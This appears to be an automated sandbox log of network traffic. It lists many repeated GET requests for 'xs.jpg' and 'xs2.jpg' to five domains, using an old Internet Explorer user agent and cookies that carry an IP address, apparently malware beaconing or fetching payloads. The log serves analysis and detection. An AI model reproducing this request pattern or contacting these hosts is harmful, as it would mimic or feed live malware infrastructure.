                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?3d425ee3=659903995 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3fa90d2a=-22793048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4108a95f=-1021707235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?42301d5c=1257280204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?43352d54=-912291844 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?449576d0=-1686058784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?46b38069=1186168937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?535f3d04=-1497466360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?54aff5f2=-1518358640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5640212f=1539369033 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?58390002=436273170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5b06aaf8=-1908232784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?5cf0e727=1559291687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?5e1194d3=879328498 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?6a6910d4=-1448852656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?71e23396=15978566 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7bb4b600=1931354624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?80fcb0d0=-2031561296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?84b622e8=-2068438296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?873c5f9c=728382888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8ab49f65=-890217533 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?954ac704=-361372908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?9cb0bbcd=-1406900530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a1720886=-1392358218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?a48d053f=-615637126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ac5b7b63=-1233100875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b96c587c=301362020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?be1cb312=978721078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c0085b83=2190860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?c4838ba0=1300931296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?c8ef12d5=599542612 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?da83e528=-1365045656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?dfb790c0=-37976576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?e4813b52=1065918270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e8e7cd9a=1195273424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?efa78aa1=-1645396026 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fbcb7f39=-423298218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?30c6233=409145752 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a319847=342044814 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?fd2ec80=1327406720 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?16ed0657=-833275633 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?21aa9ba6=223665456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?28fcab5b=-1544376980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?2eabe496=1566034220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?32b2701b=-1743302575 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?23b8063f=-699390598 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?85bd571b=385178732 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d2e6b20f=-1513266146 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a943d155=-1525725868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159329|1720159210|4|27|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?ecd712f4=-1285796912 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?2809b591=1343449890 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3f1ddc44=2117843080 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159332|1720159208|4|28|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d0ca9ad5=1918881919 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159333|1720159209|4|28|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?d1dfc492=425645786 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159333|1720159210|4|28|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?9c9c7192=505180084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d64dcbbc=-1399089288 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?a6bc8d8b=-593430045 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159337|1720159208|4|29|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?1450be15=-1568280408 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159338|1720159209|4|29|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3a490c76=977865846 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159338|1720159210|4|29|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d32cd494=-752036716 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?315ea03b=-153542361 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fcfe00b3=-50462541 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159342|1720159208|4|30|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4d6da8df=-1696902722 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159342|1720159209|4|30|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?fcf9a73d=-355233109 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159343|1720159210|4|30|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?d6cd1c9c=1530163824 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ac94a6eb=-1399544085 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?1e447f17=1015610926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159346|1720159208|4|31|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?90145cb5=-1338173921 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159347|1720159209|4|31|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?7b65f9eb=-308811860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159348|1720159210|4|31|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e2362982=-499766910 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ee96f00e=-1752588204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3d8b03f0=867636144 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159351|1720159208|4|32|0
